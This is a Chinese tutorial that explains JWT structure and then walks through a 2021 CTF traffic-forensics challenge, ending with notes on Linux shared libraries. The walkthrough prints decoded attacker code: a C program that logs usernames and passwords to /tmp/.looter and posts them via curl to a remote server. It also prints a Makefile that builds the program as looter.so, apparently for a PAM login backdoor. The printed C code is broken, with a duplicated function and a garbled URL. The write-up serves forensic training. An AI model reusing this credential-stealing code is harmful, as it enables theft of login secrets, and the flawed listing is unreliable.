JWT简介
JWT(JSON Web Token)是一种开放标准(RFC 7519),用于在网络应用环境中以一种紧凑的、URL安全的方式传递声明(Claims)。JWT通常用于身份验证、信息交换以及验证消息的完整性。JWT通过在不同系统之间传递数据而保证数据的完整性,并提供身份验证信息。
JWT的结构
JWT通常由三部分组成,分别是:
- 头部(Header)
- 载荷(Payload)
- 签名(Signature)
这三部分通过点(.)连接,形成一个完整的JWT。
1. 头部(Header)
头部通常包含两部分信息:
- 类型(type):通常是JWT,表明这是一个JWT令牌。
- 签名算法(alg):指定用来签名JWT的算法,例如HMAC SHA256或RSA等。
示例:
{
"alg": "HS256",
"typ": "JWT"
}
2. 载荷(Payload)
载荷部分包含了要传递的声明(Claims)。声明可以分为三类:
- 注册声明(Registered Claims):这些是JWT标准定义的预设字段,如:
- iss(Issuer):签发者
- sub(Subject):主题(如用户ID)
- aud(Audience):受众(谁能使用该令牌)
- exp(Expiration Time):过期时间
- nbf(Not Before):在此时间之前不可用
- iat(Issued At):发布时间
- jti(JWT ID):JWT的唯一标识符
- 公共声明(Public Claims):这些是用户自定义的声明,可以是任何符合JWT规范的字段,建议使用URI作为命名空间以避免冲突。
- 私有声明(Private Claims):由使用JWT的双方约定的声明,通常用于交换双方的专有信息。
示例:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
3. 签名(Signature)
签名部分用于验证JWT的完整性,确保载荷和头部在传输过程中没有被篡改。为了生成签名,使用头部中的签名算法对头部和载荷进行加密。
签名的计算方法为:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
其中,secret是一个密钥,用于签名算法。如果使用非对称加密算法(如RSA),则使用私钥签名。
JWT的工作原理
- 客户端认证:客户端使用用户名和密码登录,服务器验证用户身份并返回一个JWT。
- 传递JWT:客户端将JWT存储在本地(例如在localStorage或cookie中),并在每次请求时将其附加在HTTP请求头中(通常是Authorization: Bearer <JWT>)。
- 验证JWT:服务器接收到请求时,从请求头中提取JWT,验证JWT的签名是否有效,并检查JWT的过期时间和其他声明。
- 身份验证和授权:服务器验证JWT后,如果有效,就可以根据JWT中的声明来进行身份验证和授权。
JWT的优缺点
优点:
- 无状态(Stateless):JWT是自包含的,包含了用户的身份和权限信息,服务器不需要存储任何会话状态,因此适合分布式系统和微服务架构。
- 跨域支持:JWT是基于HTTP头部传递的,因此非常适合跨域请求,尤其是在RESTful API中使用。
- 灵活性:JWT支持多种加密算法(对称或非对称),适应不同的应用场景。
缺点:
- 令牌大小:由于JWT将所有信息都嵌入令牌中,令牌可能相对较大,尤其是在信息量大的时候。
- 没有撤销机制:JWT是无状态的,服务器无法直接撤销某个JWT。如果需要撤销JWT,通常需要配合黑名单机制或者设置短期过期时间。
- 安全性问题:如果使用不安全的签名算法或密钥泄露,JWT可能会被伪造。因此,务必使用强大的加密算法和保密的密钥。
使用场景
- 身份认证:用户登录后,服务器生成一个JWT,客户端保存并在后续请求中携带JWT,以免重复登录。
- 信息交换:JWT是一种安全的信息传输方式,可以在不同的应用间传递经过加密的信息。
- 授权:JWT可以携带用户的角色或权限信息,在服务器端进行验证,决定用户是否有访问某些资源的权限。
总结来说,JWT作为一种紧凑、URL安全的身份验证标准,在分布式系统中广泛应用,特别是在单点登录(SSO)和微服务架构中。
模拟JWT报文
JWT由三部分组成,分别是头部、载荷和签名,用.连接。假设密钥是secret,生成的JWT报文如下:
Header:
{
"alg": "HS256",
"typ": "JWT"
}
Payload:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
Signature:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
最终的JWT:
eyJhbGciOiAiSFMyNTYiLCJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiAiSm9obiBEb2UiLCJpYXQiOiAiMTUxNjIzOTAyMiJ9.TZr7_yiDbD0lYXbCpaDBv9Xf7Byc1dfy-J-_6HJrrR4
各部分解析
- 头部(Header):
{
"alg": "HS256",
"typ": "JWT"
}- alg: 指定了签名算法,这里使用的是HS256,即HMAC使用SHA-256算法。
- typ: 类型,通常是JWT,表示这是一个JWT令牌。
- 载荷(Payload):
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}- sub: 用户ID,表示JWT属于哪一个用户,这里是1234567890。
- name: 用户名,表示该用户的名字是John Doe。
- iat: 签发时间,表示JWT的签发时间戳(Unix时间戳),这里是1516239022,即2018年1月19日。
- 签名(Signature):
- 使用密钥secret和HMAC SHA-256算法对头部和载荷进行签名,确保JWT的完整性和防止篡改。
- 签名部分是通过加密和计算生成的,防止JWT被伪造。
JWT的验证
在服务器端收到JWT时,可以通过以下步骤验证其有效性:
- 解析JWT:分离头部、载荷和签名部分。
- 验证签名:使用服务器的secret密钥对头部和载荷进行签名计算,然后与JWT中的签名部分进行比对。如果签名匹配,说明JWT未被篡改。
- 检查有效期:验证JWT是否过期,通常使用exp字段来表示过期时间,确保JWT在有效期内。
通过这个过程,JWT能够提供安全的身份验证和数据传输。
题目来源:陇剑杯2021流量分析
<https://forensics.didctf.com/challenges#jwt-1-2>
1,昨天,单位流量系统捕获了⿊客攻击流量,请您分析流量后进⾏回答:该⽹站使⽤了( )认证方式?(如有字母则默认小写)
2,黑客绕过验证使用的jwt中,id和username是___。(中间使用#号隔开,例如1#admin)
3,黑客获取webshell之后,权限是___?(字母默认小写)
4,黑客上传的恶意文件文件名是___。(请提交带有文件后缀的文件名,例如x.txt)
5,黑客在服务器上编译的恶意so文件,文件名是___。(请提交带有文件后缀的文件名,例如x.so)
6,黑客在服务器上修改了一个配置文件,文件的绝对路径为___。(请确认绝对路径后再提交)
1,JWT认证工作与客户端与服务端,那么工作场景应该在http协议下的登录场景(存在login.php),过滤出来
然后追踪http流查看详情,搜索token
注意到token,其第一段包含了签名算法和认证类型,使用base64解码一下token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc
最后解码得到JWT
2,根据题目我们就要看看攻击者是在哪个阶段绕过jwt认证的,最后几条流量包追踪http流是能够看到攻击者命令执行的payload
那么结合渗透测试经验并逆向思维去推敲,攻击者命令执行注入打服务器第一件事是查看自己是谁,执行命令whoami,这就能得到username为root
这条数据流还包含了token,我们知道jwt认证体系里面token第二段是包含了id,用户名,解码看看
flag{10087#admin}
3,获取webshell后的权限,就需要我们找攻击者是控制网站后做了什么。http追踪流看见有一个alert弹窗功能弹出来root,这代表了admi用户是root权限
4,攻击提交恶意文件的的请求方法应该是post
然后追踪这些http流,查看里面命令执行注入的payload
由此可以判断攻击者创建了一个1.c,就是恶意文件
这里是解码后的内容:
#include <stdio.h>
#include <curl/curl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void saveMessage(char *message) {
FILE *fp = fopen("/tmp/.looter", "a+");
if (fp == NULL) {
return;
}
fputs(message, fp);
fclose(fp);
}
void saveMessage(char *message) {
CURL *curl;
CURLcode res;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, "Example Domain");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, message);
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
curl_global_cleanup();
}
int main(int argc, char *argv[]) {
char message[1024];
snprintf(message, sizeof(message), "Username: %s\nPassword: %s", argv[1], argv[2]);
saveMessage(message);
return 0;
}
- 分析代码: 解码后的代码显然是一个C语言编写的程序,功能如下:
- saveMessage函数:这个函数将接收到的消息保存到文件/tmp/.looter中。它首先以追加模式打开文件,如果打开成功,则写入消息并关闭文件。
- saveMessage函数(使用CURL库):这个函数会使用CURL库将消息发送到一个远程服务器,URL为http://example.com/,并通过HTTP POST请求发送消息。curl_easy_setopt用于配置CURL请求,将消息作为POST字段发送。
- main函数:从命令行参数argv中读取用户名和密码,然后调用saveMessage函数保存该信息。
- 潜在目的:
- 信息窃取:程序可能用于窃取用户的用户名和密码,并将这些敏感信息通过HTTP请求发送到远程服务器(在这个例子中是http://example.com/,但这可能是攻击者指定的恶意URL)。
- 本地存储:它还将信息保存在本地文件/tmp/.looter中,可能用于后续访问或恶意行为。
- 危险性:
- 该程序具有非常明显的恶意目的,它能够窃取敏感信息(如用户名和密码),并通过HTTP POST发送到远程服务器。即使没有网络连接,它也会将信息保存到本地,供恶意方稍后提取。
- 总结: 这个命令的payload显然是一个恶意脚本,其目的是窃取用户的敏感信息,并将这些信息上传到远程服务器。它利用C语言编写,使用了CURL库进行HTTP请求,此外还将信息保存到本地文件中,增加了潜在的威胁。
5,根据题目请求,搜索出存在.so文件的字节流过滤
NO.125然后追踪其字节流就能找到攻击者命令注入对编译后端恶意文件looter.so进行操作
而在字节流16就能找到攻击者编译这个恶意程序的命令
1. Base64解码
将echo后面的Base64字符串解码后得到以下内容:
CFLAGS += -Werror -Wall
looter.so: looter.c
gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
2. 解码内容分析
这是一个典型的Makefile文件,作用是使用gcc编译一个共享库(.so文件)。以下是对其内容的逐步分析:
(1)CFLAGS的定义
CFLAGS += -Werror -Wall
- CFLAGS 是用于gcc编译器的选项变量:
- -Wall:启用所有常见的警告,帮助开发者发现代码中的潜在问题。
- -Werror:将所有的警告当作错误处理,强制开发者修复警告。
(2)目标文件的定义
looter.so: looter.c
gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
- looter.so 是目标文件的名称,表示将生成一个共享库文件。
- looter.c 是源文件,表示需要从looter.c编译生成目标文件。
- 使用的命令:
- gcc $(CFLAGS):使用前面定义的编译选项。
- -fPIC:生成与位置无关的代码(Position Independent Code),这是创建共享库所必须的。
- -shared:生成一个共享库。
- -Xlinker -x:向链接器传递-x选项,可能是为了减少符号表内容。
- -o $@:指定输出文件,$@代表目标文件名(即looter.so)。
- $<:表示第一个依赖文件(即looter.c)。
- -lcurl:链接CURL库,说明目标文件中依赖CURL相关功能。
3. Makefile的功能总结
该Makefile用于编译一个名为looter.so的共享库,使用的源文件是looter.c,并且需要链接CURL库。这表明looter.c可能是一个实现某些网络操作的C程序。
结合共享库的生成特性和CURL的使用,looter.c很可能是一个恶意文件,用于执行某些网络通信(如数据窃取或恶意命令发送)。
4. 潜在危险
从命令上下文来看,looter.c可能是一个恶意文件,而looter.so的生成会为攻击者提供一个易于加载的共享库,可能通过以下方式滥用:
- 动态注入:攻击者可能利用looter.so注入到合法程序中执行恶意行为。
- 网络通信:由于链接了CURL库,looter.so可能会与外部服务器通信,窃取数据或发送攻击指令。
5. 总结与建议
总结
这个Base64编码的命令是为了生成一个编译共享库的Makefile,而looter.c及生成的looter.so很可能是恶意文件,其目的是:
- 编译一个支持网络通信的动态共享库。
- 通过CURL实现与远程服务器的通信。
建议
- 阻止编译:如果发现此命令或相关文件,应立即删除looter.c和Makefile,避免生成looter.so。
- 监控系统:检查系统是否已存在looter.so或类似文件,防止被动态链接或加载。
- 网络拦截:监控和拦截系统中的异常HTTP请求,特别是向未知服务器发送的数据。
- 加固环境:使用防病毒工具扫描系统,确认是否有其他相关恶意文件。
6,攻击者修改了什么配置文件,这个也可以通过搜索来查找
然后再追踪字节流,查看字节流26,27,发现更改文件的操作,因为这些文件存在于/etc下,故而推测是系统配置文件/etc/pam.d/common-auth
.so 文件
一种Linux 和类 Unix 操作系统中使用的共享库(Shared Object)文件格式。它类似于 Windows 系统中的 .dll(动态链接库)。共享库的主要作用是为多个程序提供公共的功能和代码,从而避免重复的代码复制,提高系统资源的使用效率。
1. .so 文件概述
- 全称:Shared Object,即共享对象文件。
- 文件后缀:.so,通常会带有版本号,如 libexample.so.1 或 libexample.so.1.2,用于标识不同版本的库。
共享库允许多个程序同时使用同一份库文件,减少内存占用和磁盘空间。它还允许程序在运行时动态加载库文件,并在程序执行时链接和调用共享库中的函数。
2. 共享库的特点
- 动态链接:与静态库(.a文件)不同,.so 文件是在程序运行时被加载和链接的,而不是在编译时链接进可执行文件中。这意味着,程序在编译时并不需要包含库的代码,而是通过链接器在运行时加载。
- 内存共享:当多个程序加载同一个 .so 文件时,操作系统会将该库的代码加载到内存中的一个位置,并且多个程序会共享这部分内存。这能够减少程序的内存占用。
- 版本控制:.so 文件通常有版本控制,系统和开发者可以选择指定某个版本的库进行链接。例如,libexample.so.1 可能指向 libexample.so.1.2,而更高版本的库 libexample.so.2 可以共存而不干扰。
- 灵活性:共享库可以在程序运行时被动态加载,更新 .so 文件并不需要重新编译程序,只要接口保持不变,程序就可以继续正常运行。
3. 如何使用 .so 文件
1. 编译共享库
共享库通常是通过 C/C++ 等语言编写的源代码生成的,编译时需要使用 -fPIC(Position Independent Code,位置无关代码)和 -shared 标志。
例如,编译一个 C 文件生成 .so 文件:
gcc -fPIC -shared -o libexample.so example.c
这条命令将 example.c 编译成 libexample.so 共享库文件。
2. 链接共享库
在编译其他程序时,如果想使用 .so 文件提供的功能,需要在编译时指定链接到该共享库。
例如,如果要将 libexample.so 链接到一个程序中,可以使用以下命令:
gcc -o myprogram myprogram.c -L/path/to/library -lexample
- -L/path/to/library:指定 .so 文件所在的目录。
- -lexample:指定要链接的共享库(省略了 lib 前缀和 .so 后缀)。
3. 运行时加载共享库
在程序运行时,操作系统会根据环境变量 LD_LIBRARY_PATH 查找共享库。例如:
export LD_LIBRARY_PATH=/path/to/library:$LD_LIBRARY_PATH
./myprogram
如果 .so 文件已经安装到系统默认的库目录(如 /lib 或 /usr/lib),则操作系统会自动加载它。
4. 共享库的优势
- 节省资源:多个程序可以共享同一份代码,减少了内存和磁盘空间的占用。
- 易于更新和维护:共享库的更新不需要重新编译程序,只要接口保持兼容,程序就能自动使用新版本的库。
- 灵活的版本管理:开发者可以为不同版本的库提供不同的 .so 文件,允许程序在运行时选择合适的版本。
5. 共享库的使用场景
共享库广泛应用于各种程序和系统中,尤其在以下情况下非常有用:
- 常用功能的抽象:如图形、音频处理、网络通信等,开发者可以将常用的功能打包成共享库,供多个程序使用。
- 插件系统:许多应用程序(如 Web 浏览器、文本编辑器等)使用共享库来提供插件扩展功能。
- 操作系统和系统工具:许多系统工具和操作系统本身使用共享库提供各种基础功能,如文件操作、网络通信等。
6. 恶意 .so 文件
.so 文件也可能被恶意使用,例如:
- 恶意代码注入:攻击者可能编写恶意 .so 文件,并将其注入到正常的程序中,导致程序执行不安全的操作。例如,利用共享库注入网络窃取工具或恶意后门。
- 利用共享库执行攻击:攻击者通过某些漏洞,可能会让受害者程序加载恶意共享库,进而窃取敏感数据或执行其他恶意操作。
7. 如何防止恶意 .so 文件的影响
- 文件签名验证:确保所有的 .so 文件都有适当的数字签名,验证文件是否由可信开发者提供。
- 限制库加载目录:通过设置操作系统的LD_LIBRARY_PATH 环境变量或其他安全策略,限制可加载的 .so 文件目录。
- 使用安全框架:如 SELinux(Security-Enhanced Linux)或 AppArmor,来限制程序对共享库的访问。